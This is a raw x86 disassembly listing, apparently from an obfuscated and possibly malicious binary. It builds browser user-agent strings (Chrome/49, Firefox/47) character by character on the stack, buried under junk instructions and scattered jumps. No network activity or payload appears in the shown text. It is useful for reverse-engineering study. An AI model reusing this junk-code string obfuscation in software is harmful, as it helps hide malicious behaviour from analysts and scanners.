shl dx, 0xec
mov word [ebp - 0x1a04], cx
mov edx, 0x6e
cmovl cx, si
rol eax, cl
mov word [ebp - 0x1a02], dx
rcr ah, 0x58
shld dx, bp, 0xf
shr ah, 0x1d
mov eax, 0x64
mov word [ebp - 0x1a00], ax
rdtsc
inc eax
mov ecx, 0x6f
bswap dx
shld edx, edx, 0x85
sal dx, cl
mov word [ebp - 0x19fe], cx
sal eax, cl
mov edx, 0x77
bswap cx
neg eax
cmp ebp, 0x711974d8
mov word [ebp - 0x19fc], dx
mov eax, 0x73
adc ecx, edx
mov word [ebp - 0x19fa], ax
mov ecx, 0x20
inc al
mov al, 0x9a
mov word [ebp - 0x19f8], cx
shr edx, 0xed
mov edx, 0x4e
add al, 0x24
cmp di, 0x6838
mov word [ebp - 0x19f6], dx
mov eax, 0x54
setg dh
or dl, 0xd9
mov word [ebp - 0x19f4], ax
and dl, 0x55
mov word [ebp - 0x19f2], cx
cmc
mov edx, 0x36
mov word [ebp - 0x19f0], dx
test esi, edx
mov eax, 0x2e
movsx ecx, bp
shr edx, 0x72
mov word [ebp - 0x19ee], ax
shld edx, edi, 0x88
cwd
mov ecx, 0x31
adc edx, 0x10d93530
bts ax, di
rol dx, 0xe0
mov word [ebp - 0x19ec], cx
test sp, bx
mov edx, 0x3b
mov word [ebp - 0x19ea], dx
rcr ecx, 0x7c
mov eax, 0x20
btc dx, 0x35
movsx cx, ah
mov word [ebp - 0x19e8], ax
cwde
jmp 0x736a3b
call fcn.005b7e38
test eax, eax
je 0x77f8d0
mov ecx, 0x4f
test dx, 0x53b8
mov word [ebp - 0x1e20], cx
sub eax, esp
stc
jmp 0x6eb36f
mov word [ebp - 0x19de], dx
adc ah, 0x9d
mov eax, 0x3b
mov word [ebp - 0x19dc], ax
mov ecx, 0x20
sal dl, 0x3c
test esp, 0x549276f8
mov word [ebp - 0x19da], cx
or edx, 0x27b74298
mov edx, 0x78
and ax, 0x6752
jmp 0x78b8f0
mov eax, ecx
clc
bts dx, bx
cmc
mov word [ebp - 0x15da], ax
xadd dl, dl
mov ecx, 0x62
rol dl, cl
shr dx, cl
mov word [ebp - 0x15d8], cx
mov edx, 0x4b
btr eax, edx
shld cx, si, 0xc2
stc
mov word [ebp - 0x15d6], dx
bt ecx, edi
mov eax, 0x69
and ecx, edi
sbb dl, 0x21
mov word [ebp - 0x15d4], ax
and edx, 0x2ab17598
test esi, edx
rol cx, 0x8d
mov ecx, 0x74
sar al, cl
or eax, esi
mov word [ebp - 0x15d2], cx
mov edx, 0x2f
ror cx, cl
sar cx, cl
mov word [ebp - 0x15d0], dx
rcr dl, 0x45
ror cx, cl
mov eax, 0x35
and dl, dh
setnp cl
sal cl, 0xb3
mov word [ebp - 0x15ce], ax
btc edx, 0xa4
mov cl, 0x5b
mov ecx, 0x33
mov word [ebp - 0x15cc], cx
sal ax, 0x33
mov edx, 0x37
ror al, cl
adc al, 0
mov word [ebp - 0x15ca], dx
mov eax, 0x2e
rol edx, 0xb2
mov word [ebp - 0x15c8], ax
mov word [ebp - 0x15c6], cx
clc
mov edx, 0x36
test si, bx
mov word [ebp - 0x15c4], dx
dec eax
mov eax, 0x20
sal dh, cl
sets ch
mov word [ebp - 0x15c2], ax
ror edx, cl
btc dx, 0x41
mov ecx, 0x28
mov word [ebp - 0x15c0], cx
mov edx, 0x4b
mov word [ebp - 0x15be], dx
shl ax, 0xb8
mov eax, 0x48
mov word [ebp - 0x15bc], ax
mov ecx, 0x54
dec dx
movsx edx, ax
mov word [ebp - 0x15ba], cx
sete dh
adc cl, 0x18
mov edx, 0x4d
mov eax, 0x278a0326
neg al
clc
mov word [ebp - 0x15b8], dx
mov eax, 0x4c
cmp bp, 0x5466
mov word [ebp - 0x15b6], ax
movsx edx, di
mov ecx, 0x2c
rcr eax, 0x1c
rcr dx, cl
btr eax, edi
mov word [ebp - 0x15b4], cx
bt dx, 0x98
and dx, sp
mov edx, 0x20
sbb cl, 0xed
rcr ax, cl
mov word [ebp - 0x15b2], dx
mov eax, 0x6c
bt edx, edi
xor cl, 0xdd
cmp bp, 0xf66
mov word [ebp - 0x15b0], ax
mov ecx, 0x69
shld dx, di, 0xbe
stc
cwde
mov word [ebp - 0x15ae], cx
test edi, 0x66a867e4
mov edx, 0x6b
btr ax, 0x9f
mov word [ebp - 0x15ac], dx
shr dx, cl
btr eax, 0xd8
mov eax, 0x65
rcr dx, 0x9b
shrd edx, esi, 0xde
mov word [ebp - 0x15aa], ax
rcl cx, cl
mov dl, dl
clc
mov ecx, 0x20
shr edx, 0x74
test dl, 0xe7
mov word [ebp - 0x15a8], cx
mov edx, 0x47
rcr cx, cl
inc ecx
stc
mov word [ebp - 0x15a6], dx
bts cx, bx
shld ecx, esp, 0x32
mov edx, 0x513156b9
mov word [ebp - 0x15a4], ax
rol ax, 0x5a
btc ecx, ecx
btc eax, 0xe1
mov ecx, 0x63
mov word [ebp - 0x15a2], cx
bts ecx, eax
neg dx
sub cl, 0x6c
mov edx, 0x6b
mov word [ebp - 0x15a0], dx
or ax, 0x5b17
rol cx, 0x7c
mov eax, 0x6f
xadd cx, dx
bt cx, cx
stc
mov word [ebp - 0x159e], ax
shl eax, 0x3d
mov ecx, 0x29
sub dh, 0x3a
rol al, 0x2f
mov word [ebp - 0x159c], cx
mov edx, 0x20
shld ax, dx, 0x59
cmp sp, 0x77c0
mov word [ebp - 0x159a], dx
or al, 0xc2
btc ax, 0x52
mov eax, 0x43
bts edx, edx
mov word [ebp - 0x1598], ax
sal dx, cl
cbw
or ecx, esi
mov ecx, 0x68
mov word [ebp - 0x1596], cx
or ecx, esp
or ah, 0xbc
rcr dh, cl
mov edx, 0x72
mov word [ebp - 0x1594], dx
ror cl, 0x9e
btr cx, 0xee
sbb al, dh
mov eax, 0x6f
mov word [ebp - 0x1592], ax
mov cl, 0xf0
mov ecx, 0x6d
test eax, 0x26333feb
clc
mov word [ebp - 0x1590], cx
setle ch
ror eax, 6
mov edx, 0x65
mov word [ebp - 0x158e], dx
add edx, 0x31a52519
mov eax, 0x2f
shr cx, cl
rcr cl, cl
mov word [ebp - 0x158c], ax
mov ecx, 0x34
clc
or ax, 0x2068
mov word [ebp - 0x158a], cx
bsf cx, sp
xadd ecx, edx
sal edx, cl
mov edx, 0x39
ror cx, 0xc6
ror ecx, cl
mov word [ebp - 0x1588], dx
shl cx, 0xfa
mov eax, 0x2e
mov word [ebp - 0x1586], ax
mov ecx, 0x30
add dx, sp
mov word [ebp - 0x1584], cx
or cl, bh
mov edx, eax
stc
or ch, 0xc8
btc cx, 0x4e
mov word [ebp - 0x1582], dx
and ch, 0x5b
ror dl, cl
add cx, di
mov eax, 0x32
bt dx, si
btr cx, 0xc4
movsx cx, bl
mov word [ebp - 0x1580], ax
sub dh, 0x3e
movzx ecx, dx
mov ecx, 0x36
xadd dh, dh
mov word [ebp - 0x157e], cx
sbb dl, 0x3b
dec cl
stc
mov edx, eax
lahf
sbb eax, esi
cwde
mov word [ebp - 0x157c], dx
inc dl
sal ax, cl
rcr ecx, 0x6b
mov eax, 0x33
bts ecx, eax
inc dh
dec edx
mov word [ebp - 0x157a], ax
or eax, 0x127a6584
rcl al, 0xb3
mov ecx, 0x2e
bsf edx, eax
mov word [ebp - 0x1578], cx
test edx, 0x55296714
bt eax, esp
mov edx, 0x31
cmp edx, 0x35634451
rol cx, 0x63
ror ecx, 0x91
mov word [ebp - 0x1576], dx
xor ax, bp
sal cl, 0x1f
mov eax, edx
bsf cx, si
bts ecx, eax
sar cx, 0x50
mov word [ebp - 0x1574], ax
sar dl, cl
mov ecx, 0x32
mov word [ebp - 0x1572], cx
rcl ecx, cl
btr ax, si
mov edx, 0x20
neg cx
btc eax, esi
ror ecx, cl
mov word [ebp - 0x1570], dx
test bl, bh
rol dh, cl
shr al, 0
mov eax, 0x53
mov word [ebp - 0x156e], ax
bts dx, bx
rcl eax, 0x1c
mov ecx, 0x61
cmovnp edx, esi
bts edx, ecx
sbb dx, 0x7170
mov word [ebp - 0x156c], cx
movsx ax, al
cbw
mov edx, 0x66
mov word [ebp - 0x156a], dx
mov eax, ecx
mov word [ebp - 0x1568], ax
mov ecx, 0x72
sub dl, 0xec
btc eax, 0x62
mov word [ebp - 0x1566], cx
inc ch
mov edx, 0x69
mov word [ebp - 0x1564], dx
test cx, 0x32bc
bt dx, 0x4d
lahf
mov eax, 0x2f
mov word [ebp - 0x1562], ax
bts edx, ebp
cmp esi, 0x393175dc
ror cl, cl
mov ecx, 0x35
mov word [ebp - 0x1560], cx
sbb edx, 0x65fb3bea
bsf edx, ebx
xchg ecx, eax
mov edx, 0x33
mov word [ebp - 0x155e], dx
mov eax, 0x37
mov word [ebp - 0x155c], ax
movzx ecx, di
sbb ah, 5
mov ecx, 0x2e
rcr ah, 0xbe
shl eax, 0xb8
xor eax, esp
mov word [ebp - 0x155a], cx
not ax
and ah, dl
btr ax, 0xd
mov word [ebp - 0x1558], dx
cmp si, bp
adc dh, 0xfe
mov eax, 0x36
shl edx, cl
movzx dx, al
rcr edx, cl
mov word [ebp - 0x1556], ax
jmp loc.00412b53
call fcn.00454550
mov ecx, 0x4d
adc ax, 0x1d2c
rcl ah, cl
mov word [ebp - 0x1620], cx
movzx edx, sp
bt cx, 0xed
xor eax, esp
mov edx, 0x6f
mov word [ebp - 0x161e], dx
lahf
cbw
xchg dl, al
mov eax, 0x7a
shr ch, 0xb5
stc
mov word [ebp - 0x161c], ax
sar ah, 0x1b
bt ax, 0x71
mov ecx, 0x69
shl edx, cl
mov word [ebp - 0x161a], cx
shl ch, 0xe0
mov edx, 0x6c
sbb cx, ax
jmp 0x79fb08
mov dword [ebp - 0x1e58], ecx
rdtsc
sete dh
bswap eax
mov edx, dword [ebp + 0x1c]
nop
movsx eax, si
mov dword [ebp - 0x1e5c], edx
mov dword [esi], 0
movsx ax, ch
xchg al, ah
bswap ax
push 0
not ah
jmp 0x6b5368
sub eax, eax
shl si, 0x24
neg di
mov ecx, dword [ebp - 0x10]
xadd esi, ebx
neg bh
cmc
mov dword fs:[0], ecx
pop ecx
shld esi, esp, 0xb8
pop edi
or si, di
and cx, ax
pop esi
sar cx, cl
pop ebx
or cx, di
cmp esi, 0x3ae455ad
mov ecx, dword [ebp - 0x1c]
stc
xor ecx, ebp
call fcn.0044fcc4
mov esp, ebp
pop ebp
jmp loc.0040ad56
mov eax, 0x72
and dx, 0x7e72
rcr cx, 0xea
mov word [ebp - 0x199a], ax
bsf cx, cx
mov ecx, 0x65
btc edx, 0x37
mov word [ebp - 0x1998], cx
not ax
adc ah, 0x2f
bswap cx
mov edx, 0x66
sar al, cl
shl ecx, cl
cwde
mov word [ebp - 0x1996], dx
shr cx, 0x84
sal cx, cl
mov eax, 0x6f
mov word [ebp - 0x1994], ax
jmp 0x79b395
mov word [ebp - 0x19d8], dx
shld eax, ecx, 0x2a
test ebp, 0x5bfe0ed7
mov eax, 0x36
bswap ecx
inc edx
mov word [ebp - 0x19d6], ax
and dx, 0x7ac0
jmp 0x70dff6
mov ecx, 0x78
mov eax, ebp
mov word [ebp - 0x1992], cx
mov ch, 0x1d
mov edx, 0x2f
shl ah, cl
dec cl
mov word [ebp - 0x1990], dx
shl ecx, cl
ror ch, 0x70
mov eax, 0x34
mov word [ebp - 0x198e], ax
shl ax, 0xf2
ror ax, cl
mov ecx, 0x37
btc ax, cx
bsf edx, esi
mov word [ebp - 0x198c], cx
and al, 0x16
sub ah, 0xc0
rcr dh, cl
mov edx, 0x2e
rcl eax, 0x17
test cx, bp
mov word [ebp - 0x198a], dx
movsx edx, bx
add dh, 8
mov eax, 0x30
mov word [ebp - 0x1988], ax
bswap dx
xor ecx, ecx
movsx edx, si
jmp 0x517c36
mov word [ebp - 0x1618], dx
add al, 0x9e
seto ah
bsf ecx, ecx
mov eax, edx
cmc
ror edx, cl
mov word [ebp - 0x1616], ax
sub dl, ah
mov ecx, 0x61
rcr dl, cl
add ax, sp
mov word [ebp - 0x1614], cx
mov edx, 0x2f
or ecx, 0x5cbb2c99
mov word [ebp - 0x1612], dx
bsf eax, ebx
btr ax, 0x17
mov eax, 0x35
cwd
cmc
cmovae dx, cx
mov word [ebp - 0x1610], ax
ror ah, 4
mov ecx, 0x2e
movsx eax, cx
mov word [ebp - 0x160e], cx
sub eax, edx
mov edx, 0x30
sal cl, 0x4d
btc cx, 0x76
and al, 0x80
mov word [ebp - 0x160c], dx
sal dl, 0x8b
mov edx, 0x352106a1
rol dh, cl
mov eax, 0x20
dec dx
mov word [ebp - 0x160a], ax
add ch, 0xfe
mov ecx, 0x28
mov word [ebp - 0x1608], cx
jmp 0x6d5a26